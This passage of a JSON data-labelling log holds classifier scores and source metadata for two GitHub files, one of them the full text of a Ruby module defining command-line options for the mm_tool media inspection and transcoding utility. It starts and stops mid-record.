"Tutorial / How-To Guide": 0.0007009001809027019, "User Reviews": 5.211395371552541e-05, "NONE": 0.9312329885949021}, "structured_records": {"false": 0.5526689152775215, "true": 0.4473310847224785}, "procedural_steps": {"false": 0.9949604111946881, "true": 0.005039588805311827}, "worked_solution": {"false": 0.8467085913982868, "true": 0.15329140860171322}, "contextual_dialogue": {"false": 0.9999894778556428, "true": 1.0522144357100548e-05}, "content_quality": {"-2": 0.003655486201124452, "-1": 0.005970055721428048, "0": 0.102256713575807, "1": 0.47623613069465043, "2": 0.4118816138069901}, "noise_severity": {"0": 0.9720013254142792, "1": 0.025033040042985958, "2": 0.0020751307585612894, "3": 0.0005269287073563291, "4": 0.0003635750768169996}, "missing_content_severity": {"0": 0.9985073894788246, "1": 0.00046718426923412576, "2": 0.0006421428980960004, "3": 0.00027707853063805573, "4": 0.00010620482320725341}, "factual_density": {"0": 0.009633399915506432, "1": 0.017757797161271856, "2": 0.13373057395245636, "3": 0.39379440752848965, "4": 0.44508382144227565}, "pretraining_utility": {"-2": 0.012832763857901375, "-1": 0.14719903151919714, "0": 0.4051277569084012, "1": 0.35732628766611046, "2": 0.0775141600483897}, "math_density": {"0": 0.9794809922773973, "1": 0.016874049569858295, "2": 0.0015578873246461754, "3": 0.000610224950039725, "4": 0.0014768458780587124}, "code_density": {"0": 0.00019305118858608738, "1": 0.0003703559849366632, "2": 0.008578817587026147, "3": 0.05558721372055422, "4": 0.9352705615188969}, "reasoning_density": {"0": 0.6242700292192919, "1": 0.12053937024914677, "2": 0.15776749351753058, "3": 0.05128691229830947, "4": 0.04613619471572135}, "education_level": {"none": 0.0010840740849122133, "0": 0.0011512724490472743, "1": 0.004096218857954396, "2": 0.38269435272940816, "3": 0.46858294857646415, "4": 0.14239113330221384}, "creative_writing_quality": {"not_applicable": 0.999496803822302, "-2": 9.459958400582643e-05, "-1": 0.00010866685291883038, "0": 0.00021499495312588747, "1": 5.992277825077626e-05, "2": 2.501200939666213e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.11179762087523e-05, "Art & Design": 2.6716711624015154e-05, "Law & Crime": 2.0894538819207205e-05, "Education & Careers": 2.2336979887662094e-05, "Entertainment & Media": 1.3858933980531815e-05, "Fashion & Beauty": 1.131443403449099e-05, "Business, Economics & Finance": 4.1321899641564925e-05, "Food & Dining": 1.1777818569927493e-05, "Games & Gaming": 4.224753439679616e-05, "Electronics & Hardware": 0.000179217481516498, "Health, Healthcare & Wellness": 1.4674872950487975e-05, "History & Geography": 1.714660506160185e-05, "Home, Pets & Hobbies": 1.3882658791373659e-05, "Industry & Production": 2.7401764767238904e-05, "Language, Literature & Philosophy": 2.2141540108426784e-05, "Politics & Government": 1.820846232129501e-05, "Religion & Spirituality": 1.892201765648096e-05, "Science, Mathematics & Engineering": 0.00013086846047899082, "Relationships & Community": 1.0840104175608836e-05, "Software Usage & Applications": 0.0026502154212795248, "Programming & Software Engineering": 0.9963832481118812, "Sports & Fitness": 2.3154861235666783e-05, "Vehicles & Transportation": 1.1314768538275028e-05, "Travel & Tourism": 2.315366882776174e-05, "Other / Uncovered Subject": 0.00017040717696912837, "Unknown / Insufficient Content": 7.361519627755827e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00021042976160579732, "Art & Design": 0.00014984221366656677, "Law & Crime": 0.00018714582567766567, "Education & Careers": 0.00017530479642491716, "Entertainment & Media": 0.0001428354972114536, "Fashion & Beauty": 7.97873365920053e-05, "Business, Economics & Finance": 0.00020121002391761787, "Food & Dining": 7.768390502669694e-05, "Games & Gaming": 0.00014719765884217042, "Electronics & Hardware": 0.0007321704786555638, "Health, Healthcare & Wellness": 8.170020056389344e-05, "History & Geography": 8.815051076637051e-05, "Home, Pets & Hobbies": 6.639994240624611e-05, "Industry & Production": 9.9921819197654e-05, "Language, Literature & Philosophy": 0.0001038871915395754, "Politics & Government": 0.0001125708787544199, "Religion & Spirituality": 0.0001092568030411235, "Science, Mathematics & Engineering": 0.0003603379559543425, "Relationships & Community": 5.9545249199385404e-05, "Software Usage & Applications": 0.014224479347917015, "Programming & Software Engineering": 0.013746217698600348, "Sports & Fitness": 7.678241146999796e-05, "Vehicles & Transportation": 3.854436842617675e-05, "Travel & Tourism": 0.00010490673481005033, "Other / Uncovered Subject": 0.00041543564001043367, "NONE": 0.9682082557497226}}, "probabilities": {"primary": {"Academic Writing": 9.385968178034661e-05, "Content Listing": 5.600743815527798e-05, "Creative Writing": 3.5252524280700546e-05, "Customer Support Page": 2.35849930016609e-05, "Q&A Forum": 2.0035641480695962e-05, "Discussion Thread": 1.4498953890707143e-05, "Comment Section": 2.53959814639866e-05, "Missing Content": 3.220125128168732e-05, "Knowledge Article": 9.505255528214142e-05, "Legal Notices": 5.760950184450748e-05, "News Article": 9.9804970913935e-06, "Organizational Announcement": 2.0708548983563594e-05, "Nonfiction Writing": 2.4743098030880976e-05, "Organizational About Page": 2.3307207491526608e-05, "Personal About Page": 2.08142192141746e-05, "Personal Blog": 1.1239865930996225e-05, "Product Page": 1.3450209418819647e-05, "Spam / Ads": 1.629675450934478e-05, "Structured Data": 0.0049570937317652206, "Technical Writing": 0.9858339871734625, "Transcript / Interview": 4.005983929354318e-05, "Tutorial / How-To Guide": 0.00025089819178771353, "User Reviews": 1.2236194111664941e-05, "Other / Unknown": 0.008311685946447043}, "secondary": {"Academic Writing": 0.00041961809230482656, "Content Listing": 0.00038329395460678516, "Creative Writing": 0.0003084697722532307, "Customer Support Page": 0.00016423378134834487, "Q&A Forum": 0.00014056946861173267, "Discussion Thread": 0.00011272406053599554, "Comment Section": 0.00016615878299877968, "Missing Content": 0.0003588565962559402, "Knowledge Article": 0.0004153240833627233, "Legal Notices": 0.00021978941506950225, "News Article": 0.00017691567629449643, "Organizational Announcement": 0.00015609329429515766, "Nonfiction Writing": 0.00017543840848648377, "Organizational About Page": 0.00017858207675807222, "Personal About Page": 0.00015220586074480216, "Personal Blog": 0.00013633213870061487, "Product Page": 0.0001047795912127303, "Spam / Ads": 0.00016162552007636838, "Structured Data": 0.0638217713679183, "Technical Writing": 0.03466479760708323, "Transcript / Interview": 0.00024706710332865543, "Tutorial / How-To Guide": 0.000654647375776433, "User Reviews": 8.180587448303773e-05, "NONE": 0.8965989000974938}, "tertiary": {"Academic Writing": 0.0002750491301568155, "Content Listing": 0.00036268712969687156, "Creative Writing": 0.0002015868353443517, "Customer Support Page": 0.00011391215237981336, "Q&A Forum": 7.792690277033535e-05, "Discussion Thread": 7.174688389881779e-05, "Comment Section": 0.00011722727342208655, "Missing Content": 0.00030849477008575713, "Knowledge Article": 0.00047044859737988313, "Legal Notices": 0.00021806901165880358, "News Article": 0.00011379027473335485, "Organizational Announcement": 9.508567027774111e-05, "Nonfiction Writing": 0.00012445916236513368, "Organizational About Page": 0.0001470555043340994, "Personal About Page": 8.870899361541563e-05, "Personal Blog": 6.961374699355441e-05, "Product Page": 7.250097659769268e-05, "Spam / Ads": 0.00010237067545791876, "Structured Data": 0.045578271583133136, "Technical Writing": 0.019249902147343782, "Transcript / Interview": 0.00015508984883439944, "Tutorial / How-To Guide": 0.0007009001809027019, "User Reviews": 5.211395371552541e-05, "NONE": 0.9312329885949021}, "structured_records": {"false": 0.5526689152775215, "true": 0.4473310847224785}, "procedural_steps": {"false": 0.9949604111946881, "true": 0.005039588805311827}, "worked_solution": {"false": 0.8467085913982868, "true": 0.15329140860171322}, "contextual_dialogue": {"false": 0.9999894778556428, "true": 1.0522144357100548e-05}, "content_quality": {"-2": 0.003655486201124452, "-1": 0.005970055721428048, "0": 0.102256713575807, "1": 0.47623613069465043, "2": 0.4118816138069901}, "noise_severity": {"0": 0.9720013254142794, "1": 0.025033040042985965, "2": 0.00207513075856129, "3": 0.0005269287073563292, "4": 0.00036357507681699963}, "missing_content_severity": {"0": 0.9985073894788246, "1": 0.00046718426923412576, "2": 0.0006421428980960004, "3": 0.00027707853063805573, "4": 0.00010620482320725341}, "factual_density": {"0": 0.009633399915506432, "1": 0.017757797161271856, "2": 0.13373057395245636, "3": 0.39379440752848965, "4": 0.44508382144227565}, "pretraining_utility": {"-2": 0.012832763857901377, "-1": 0.14719903151919717, "0": 0.40512775690840125, "1": 0.3573262876661105, "2": 0.07751416004838971}, "math_density": {"0": 0.979480992277397, "1": 0.01687404956985829, "2": 0.001557887324646175, "3": 0.0006102249500397249, "4": 0.001476845878058712}, "code_density": {"0": 0.00019305118858608738, "1": 0.0003703559849366632, "2": 0.008578817587026147, "3": 0.05558721372055422, "4": 0.9352705615188969}, "reasoning_density": {"0": 0.6242700292192919, "1": 0.12053937024914677, "2": 0.15776749351753058, "3": 0.05128691229830947, "4": 0.04613619471572135}, "education_level": {"none": 0.0010840740849122133, "0": 0.0011512724490472743, "1": 0.004096218857954396, "2": 0.38269435272940816, "3": 0.46858294857646415, "4": 0.14239113330221384}, "creative_writing_quality": {"not_applicable": 0.999496803822302, "-2": 9.459958400582643e-05, "-1": 0.00010866685291883038, "0": 0.00021499495312588747, "1": 5.992277825077626e-05, "2": 2.501200939666213e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.11179762087523e-05, "Art & Design": 2.6716711624015154e-05, "Law & Crime": 2.0894538819207205e-05, "Education & Careers": 2.2336979887662094e-05, "Entertainment & Media": 1.3858933980531815e-05, "Fashion & Beauty": 1.131443403449099e-05, "Business, Economics & Finance": 4.1321899641564925e-05, "Food & Dining": 1.1777818569927493e-05, "Games & Gaming": 4.224753439679616e-05, "Electronics & Hardware": 0.000179217481516498, "Health, Healthcare & Wellness": 1.4674872950487975e-05, "History & Geography": 1.714660506160185e-05, "Home, Pets & Hobbies": 1.3882658791373659e-05, "Industry & Production": 2.7401764767238904e-05, "Language, Literature & Philosophy": 2.2141540108426784e-05, "Politics & Government": 1.820846232129501e-05, "Religion & Spirituality": 1.892201765648096e-05, "Science, Mathematics & Engineering": 0.00013086846047899082, "Relationships & Community": 1.0840104175608836e-05, "Software Usage & Applications": 0.0026502154212795248, "Programming & Software Engineering": 0.9963832481118812, "Sports & Fitness": 2.3154861235666783e-05, "Vehicles & Transportation": 1.1314768538275028e-05, "Travel & Tourism": 2.315366882776174e-05, "Other / Uncovered Subject": 0.00017040717696912837, "Unknown / Insufficient Content": 7.361519627755827e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00021042976160579732, "Art & Design": 0.00014984221366656677, "Law & Crime": 0.00018714582567766567, "Education & Careers": 0.00017530479642491716, "Entertainment & Media": 0.0001428354972114536, "Fashion & Beauty": 7.97873365920053e-05, "Business, Economics & Finance": 0.00020121002391761787, "Food & Dining": 7.768390502669694e-05, "Games & Gaming": 0.00014719765884217042, "Electronics & Hardware": 0.0007321704786555638, "Health, Healthcare & Wellness": 8.170020056389344e-05, "History & Geography": 8.815051076637051e-05, "Home, Pets & Hobbies": 6.639994240624611e-05, "Industry & Production": 9.9921819197654e-05, "Language, Literature & Philosophy": 0.0001038871915395754, "Politics & Government": 0.0001125708787544199, "Religion & Spirituality": 0.0001092568030411235, "Science, Mathematics & Engineering": 0.0003603379559543425, "Relationships & Community": 5.9545249199385404e-05, "Software Usage & Applications": 0.014224479347917015, "Programming & Software Engineering": 0.013746217698600348, "Sports & Fitness": 7.678241146999796e-05, "Vehicles & Transportation": 3.854436842617675e-05, "Travel & Tourism": 0.00010490673481005033, "Other / Uncovered Subject": 0.00041543564001043367, "NONE": 0.9682082557497226}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11181, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11181, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:06.683192+00:00", "scoring_key_slot": "primary", "dataset_uid": "10e024d6-3072-46f2-9b29-011474fbdd0b", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "f0df9518d43a896ec37575cc7602dd348204d7b5dda4ec4e95603eafa750f5a7", "source_metadata": {"uuid": "10e024d6-3072-46f2-9b29-011474fbdd0b", "repo_name": "stbenjam/foreman", "relative_path": "test/functional/smart_proxies_controller_test.rb", "category": "TEST", "algo_rel_score": 0.7310143113136292, "quality_score": 7.035252571105957, "source_meta": {"github_metadata": {"branch": "develop", "commit_count": 4620, "repo_created_at": "2013-11-07T09:08:03.000Z", "is_fork": true, "is_org_owned": false, "forked_from": "theforeman/foreman", "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "48cf52e8a2fb186741eff8a6bc2b82d1bf111987", "size_bytes": 9724, "file_timestamp": 1455010336, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "5ac689f104baeb6c6a1a1253fed47ee867d98d37"}}, "parsed_source_meta": {"github_metadata": {"branch": "develop", "commit_count": 4620, "repo_created_at": "2013-11-07T09:08:03.000Z", "is_fork": true, "is_org_owned": false, "forked_from": "theforeman/foreman", "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "48cf52e8a2fb186741eff8a6bc2b82d1bf111987", "size_bytes": 9724, "file_timestamp": 1455010336, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "5ac689f104baeb6c6a1a1253fed47ee867d98d37", "url": "https://github.com/stbenjam/foreman/blob/5ac689f104baeb6c6a1a1253fed47ee867d98d37/test/functional/smart_proxies_controller_test.rb"}, "gpt4o_tokens": 2539, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2867183301849536, "noise_severity": 0.032218387989445534, "missing_content_severity": 0.0030075249501693075, "factual_density": 3.246937453420756, "pretraining_utility": 0.33949004852789, "math_density": 0.027727882581504663, "code_density": 3.925371878396239, "reasoning_density": 0.7744798730420217, "education_level": 2.7477770971972055, "creative_writing_quality": -0.37345121488417077}, "score_applicability": {"education_level": 0.9989159259150878, "creative_writing_quality": 0.0005031961776979827}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/balthisar/mm_tool/blob/51c9c6bfedf44f1051aa196dd7275ecc565d6efe/lib/mm_tool/user_defaults.rb", "id": "ruby-0-e3f05456d0f24b5cb26a0b6d40cdc150", "text": "module MmTool\n\n #=============================================================================\n # This module consolidates all of the default options for MmTool.\n #=============================================================================\n\n PATH_IGNORE_LIST = File.join(Dir.home, '.mm_tool', 'ignored_file_list.txt')\n PATH_USER_DEFAULTS = File.join(Dir.home, '.mm_tool', 'com.balthisar.mm_tool.rc')\n\n #noinspection RubyResolve\n USER_DEFAULTS = {\n\n #----------------------------\n # Main Options\n #----------------------------\n\n :help => {\n :default => nil,\n :value => nil,\n :arg_short => '-h',\n :arg_long => '--help',\n :arg_format => nil,\n :item_label => nil,\n :help_group => 'Main Options',\n :help_desc => <<~HEREDOC\n Shows this help information\n HEREDOC\n },\n\n :container_files => {\n :default => %w(mp4 mkv avi 3gp flv),\n :value => nil,\n :arg_short => nil,\n :arg_long => '--containers',\n :arg_format => '',\n :item_label => 'Media Filetypes',\n :help_group => 'Main Options',\n :help_desc => <<~HEREDOC\n A comma-separated list of file extensions assumed to be media files when examining directories. The\n default is #{C.bold('%s')}. You can still pass individual files, such as subtitles, that are different\n container formats.\n HEREDOC\n },\n\n :scan_type => {\n :default => 'normal',\n :value => nil,\n :arg_short => nil,\n :arg_long => '--scan',\n :arg_format => '',\n :item_label => 'Scan Type',\n :help_group => 'Main Options',\n :help_desc => <<~HEREDOC\n Type of files for which to show results, when this program is given a directory. #{C.bold('normal')}\n will display results of files that have some change proposed to them, or have some other characteristic\n that merits review. #{C.bold('all')} will display all media files, even if there's nothing interesting\n about them (however, ignore-flagged files will be ignored. #{C.bold('flagged')} will show data for all\n ignore-flagged files. #{C.bold('quality')} will show results only for files not meeting quality\n thresholds. The default is #{C.bold('%s')}.\n HEREDOC\n },\n\n :ignore_titles => {\n :default => false,\n :value => nil,\n :arg_short => nil,\n :arg_long => '--ignore-titles',\n :arg_format => nil,\n :item_label => 'Ignore Title Metadata',\n :help_group => 'Main Options',\n :help_desc => <<~HEREDOC\n This program normally finds that files or streams with titles are interesting, because they're usually\n mangled or have scene information. Once you've curated your library, though, they can clutter up the\n results of this program. Set this option to ignore titles when deciding to show you a file or not.\n HEREDOC\n },\n\n :info_header => {\n :default => true,\n :value => nil,\n :arg_short => '-i',\n :arg_long => '--no-info-header',\n :arg_format => nil,\n :item_label => nil,\n :help_group => 'Main Options',\n :help_desc => <<~HEREDOC\n Don't show the information header indicating much of the configuration at the beginning of the output.\n HEREDOC\n },\n\n :shell_commands => {\n :default => true,\n :value => nil,\n :arg_short => '-s',\n :arg_long => '--no-shell-commands',\n :arg_format => nil,\n :item_label => nil,\n :help_group => 'Main Options',\n :help_desc => <<~HEREDOC\n Don't show the shell commands that should be executed at the end of the output. Good for showing the table only.\n HEREDOC\n },\n\n :version => {\n :default => false,\n :value => nil,\n :arg_short => nil,\n :arg_long => '--version',\n :arg_format => nil,\n :help_group => 'Main Options',\n :help_desc => <<~HEREDOC\n Show version of this program.\n HEREDOC\n },\n\n #----------------------------\n # Command-like Options\n #----------------------------\n\n :ignore_files => {\n :default => false,\n :value => nil,\n :arg_short => nil,\n :arg_long => '--ignore-files',\n :arg_format => nil,\n :item_label => nil,\n :help_group => 'Command-like Options',\n :help_desc => <<~HEREDOC\n Files following this command will not be inspected; instead, they will be added to the persistent list\n of files to be ignored. You can use #{C.bold('--no-ignore-files')} to flip this flag back off for\n subsequent files on the command line.\n HEREDOC\n },\n\n :unignore_files => {\n :default => false,\n :value => nil,\n :arg_short => nil,\n :arg_long => '--unignore-files',\n :arg_format => nil,\n :item_label => nil,\n :help_group => 'Command-like Options',\n :help_desc => <<~HEREDOC\n Files following this command will be removed from the persistent list of files to be ignored.\n You can use #{C.bold('--no-unignore-files')} to flip this flag back off for subsequent files on the\n command line.\n HEREDOC\n },\n\n :transcode => {\n :default => false,\n :value => nil,\n :arg_short => '-t',\n :arg_long => '--transcode',\n :arg_format => nil,\n :item_label => 'Emit Transcode Script',\n :help_group => 'Command-like Options',\n :help_desc => <<~HEREDOC\n Write transcoding instructions. Containers and streams that are not in preferred formats will be\n transcoded; streams that are not in the preferred language will be dropped, unless they are the\n only video or only audio stream. Transcoding instructions will be written to a temporary file.\n HEREDOC\n },\n\n :stop_processing => {\n :default => false,\n :value => nil,\n :arg_short => nil,\n :arg_long => '--',\n :arg_format => nil,\n :item_label => nil,\n :help_group => 'Command-like Options',\n :help_desc => <<~HEREDOC\n Stops further processing of input arguments, which can be useful in scripting environments.\n HEREDOC\n },\n\n #----------------------------\n # Media Options\n #----------------------------\n\n :containers_preferred => {\n :default => %w(mkv mp4),\n :value => nil,\n :arg_short => nil,\n :arg_long => '--containers-preferred',\n :arg_format => '',\n :item_label => 'Preferred Containers',\n :help_group => 'Media Options',\n :help_desc => <<~HEREDOC\n A comma-separated list of file extensions defining preferred media containers. If the container\n is not one of these types, then it will be reported. If #{C.bold('--transcode')} is specified, and\n a file is a non-preferred container, then it will be transcoded to the #{C.underline('first')} item\n in this list. The default is #{C.bold('%s')}.\n HEREDOC\n },\n\n :codecs_audio_preferred => {\n :default => %w(aac ac3 eac3),\n :value => nil,\n :arg_short => nil,\n :arg_long => '--codecs-audio-preferred',\n :arg_format => '',\n :item_label => 'Preferred Audio Codecs',\n :help_group => 'Media Options',\n :help_desc => <<~HEREDOC\n A comma-separated list of preferred audio codecs. Streams of this codec will not be transcoded.\n If #{C.bold('--transcode')} is specified, and the codec of the stream is not on this list, then\n the stream will be transcoded to the #{C.underline('first')} item in this list. The default\n is #{C.bold('%s')}.\n HEREDOC\n },\n\n :codecs_video_preferred => {\n :default => %w(hevc h265 h264),\n :value => nil,\n :arg_short => nil,\n :arg_long => '--codecs-video-preferred',\n :arg_format => '',\n :item_label => 'Preferred Video Codecs',\n :help_group => 'Media Options',\n :help_desc => <<~HEREDOC\n A comma-separated list of preferred audio codecs. Streams of this codec will not be transcoded.\n If #{C.bold('--transcode')} is specified, and the codec of the stream is not on this list, then\n the stream will be transcoded to the #{C.underline('first')} item in this list. The default\n is #{C.bold('%s')}.\n HEREDOC\n },\n\n :codecs_subs_preferred => {\n :default => %w(subrip mov_text),\n :value => nil,\n :arg_short => nil,\n :arg_long => '--codecs-subs-preferred',\n :arg_format => '',\n :item_label => 'Preferred Subtitle Codecs',\n :help_group => 'Media Options',\n :help_desc => <<~HEREDOC\n A comma-separated list of preferred audio codecs. Streams of this codec will not be transcoded.\n If #{C.bold('--transcode')} is specified, and the codec of the stream is not on this list, then\n the stream will be transcoded to the #{C.underline('first')} item in this list. The default\n is #{C.bold('%s')}.\n HEREDOC\n },\n\n :keep_langs_audio => {\n :default => %w(und eng spa chi zho),\n :value => nil,\n :arg_short => nil,\n :arg_long => '--keep-langs-audio',\n :arg_format => '',\n :item_label => 'Keep Audio Languages',\n :help_group => 'Media Options',\n :help_desc => <<~HEREDOC\n A comma-separated list of languages whose audio streams should not be discarded. If\n #{C.bold('--transcode')} is specified, audio streams with languages that are not on this list\n will be discarded unless it is the only stream. Use the special language code #{C.bold('und')}\n to ensure that streams without a designated language are not discarded! The default is #{C.bold('%s')}.\n HEREDOC\n },\n\n :keep_langs_video => {\n :default => %w(und eng spa chi zho),\n :value => nil,\n :arg_short => nil,\n :arg_long => '--keep-langs-video',\n :arg_format => '',\n :item_label => 'Keep Video Languages',\n :help_group => 'Media Options',\n :help_desc => <<~HEREDOC\n A comma-separated list of languages whose video streams should not be discarded. If\n #{C.bold('--transcode')} is specified, video streams with languages that are not on this list\n will be discarded unless it is the only stream. Use the special language code #{C.bold('und')}\n to ensure that streams without a designated language are not discarded! The default is #{C.bold('%s')}.\n HEREDOC\n },\n\n :keep_langs_subs => {\n :default => %w(und eng spa chi zho),\n :value => nil,\n :arg_short => nil,\n :arg_long => '--keep-langs-subs',\n :arg_format => '',\n :item_label => 'Keep Subtitle Languages',\n :help_group => 'Media Options',\n :help_desc => <<~HEREDOC\n A comma-separated list of languages whose subtitles should not be discarded. If\n #{C.bold('--transcode')} is specified, subtitles of languages that are not on this list\n will be discarded. Use the special language code #{C.bold('und')} to ensure that streams\n without a designated language are not discarded! The default is #{C.bold('%s')}.\n See also #{C.bold('--codec-subs-preferred')}, whose condition is AND with this condition\n (both must be true to pass through the subtitle).\n HEREDOC\n },\n\n :use_external_subs => {\n :default => true,\n :value => nil,\n :arg_short => nil,\n :arg_long => '--no-use-external-subs',\n :arg_format => nil,\n :item_label => 'Add External Subs',\n :help_group => 'Media Options',\n :help_desc => <<~HEREDOC\n Prohibit handling of external subtitle files. Normally, valid subtitle files with the \n same name as the movie will be added to inspections. Valid files are in the SRT format\n and either do not include a language extension (which will be treated as\n #{C.bold('--undefined-language')}), or include a language extension specified by\n #{C.bold('--keep-langs-subs')}.\n HEREDOC\n },\n\n #----------------------------\n # Transcoding Options\n #----------------------------\n\n :suffix => {\n :default => '-original',\n :value => nil,\n :arg_short => nil,\n :arg_long => '--suffix',\n :arg_format => '',\n :item_label => 'Original File Suffix',\n :help_group => 'Transcoding Options',\n :help_desc => <<~HEREDOC\n When #{C.bold('--transcode')} is specified, new files will be written using the original filename\n and applicable extension, and the original file will be renamed plus this suffix. The default\n is #{C.bold('%s')}.\n HEREDOC\n },\n\n :undefined_language => {\n :default => 'eng',\n :value => nil,\n :arg_short => nil,\n :arg_long => '--undefined-language',\n :arg_format => '',\n :item_label => 'Undefined Language is',\n :help_group => 'Transcoding Options',\n :help_desc => <<~HEREDOC\n When #{C.bold('--transcode')} is specified, streams in the new file that have an undefined language\n identified will be set to this option's value. The default is #{C.bold('%s')}.\n HEREDOC\n },\n\n :fix_undefined_language => {\n :default => true,\n :value => nil,\n :arg_short => '-u',\n :arg_long => '--no-fix-undefined-language',\n :arg_format => nil,\n :item_label => 'Fix Undefined Language',\n :help_group => 'Transcoding Options',\n :help_desc => <<~HEREDOC\n Prevent this program from fixing undefined languages assigned to streams. See #{C.bold('--undefined-language')}.\n HEREDOC\n },\n\n :encoder => {\n :default => 'auto',\n :value => nil,\n :arg_short => nil,\n :arg_long => '--encoder',\n :arg_format => nil,\n :item_label => 'Specify Non-default Encoder',\n :help_group => 'Transcoding Options',\n :help_desc => <<~HEREDOC\n You can use #{C.bold('--encoder')} to specify the encoder to use when mm_tool determines that\n transcoding should take place. Use one of ENCODER_LIST, or #{C.bold('auto')}. The default is\n #{C.bold('%s')}. Note that #{C.bold('auto')} will choose #{C.bold('libx264')} or\n #{C.bold('libx265')}, depending on the value of #{C.bold('--codecs-video-preferred')}.\n HEREDOC\n },\n\n :reencode => {\n :default => 'false',\n :value => nil,\n :arg_short => nil,\n :arg_long => '--re-encode',\n :arg_format => nil,\n :item_label => \"Force Re-encode\",\n :help_group => 'Transcoding Options',\n :help_desc => <<~HEREDOC\n Use #{C.bold('--re-encode')} to force re-encoding of the file, even if it isn't necessary.\n Use #{C.bold('--no-re-encode')} if you need to undo the option for subsequent input files.\n HEREDOC\n },\n\n #----------------------------\n # Quality Options\n #----------------------------\n\n :min_width => {\n :default => '1920',\n :value => nil,\n :arg_short => nil,\n :arg_long => '--min-width',\n :arg_format => '',\n :item_label => 'Minimum Video Width',\n :help_group => 'Quality Options',\n :help_desc => <<~HEREDOC\n Specify the minimum width that is considered acceptable quality. The default is #{C.bold('%s')}.\n HEREDOC\n },\n\n :min_channels => {\n :default => '6',\n :value => nil,\n :arg_short => nil,\n :arg_long => '--min-channels',\n :arg_format => '',\n :item_label => 'Minimum Audio Channels',\n :help_group => 'Quality Options',\n :help_desc => <<~HEREDOC\n Specify the minimum number of audio channels that are considered acceptable quality. The default is #{C.bold('%s')}.\n HEREDOC\n },\n }\n\nend # module\n", "text_preview": "module MmTool #============================================================================= # This module consolidates all of the default options for MmTool. #============================================================================= PA", "input_sha256": "112fc6d35c5af568747ae064f69b5bf16158f1fcbf12d32234f27a4ba18e58cf", "text_sha256": "e3f05456d0f24b5cb26a0b6d40cdc15074ce7951deeba923ced7d430cf3f6216", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16014, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": ["structured_records"]}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": 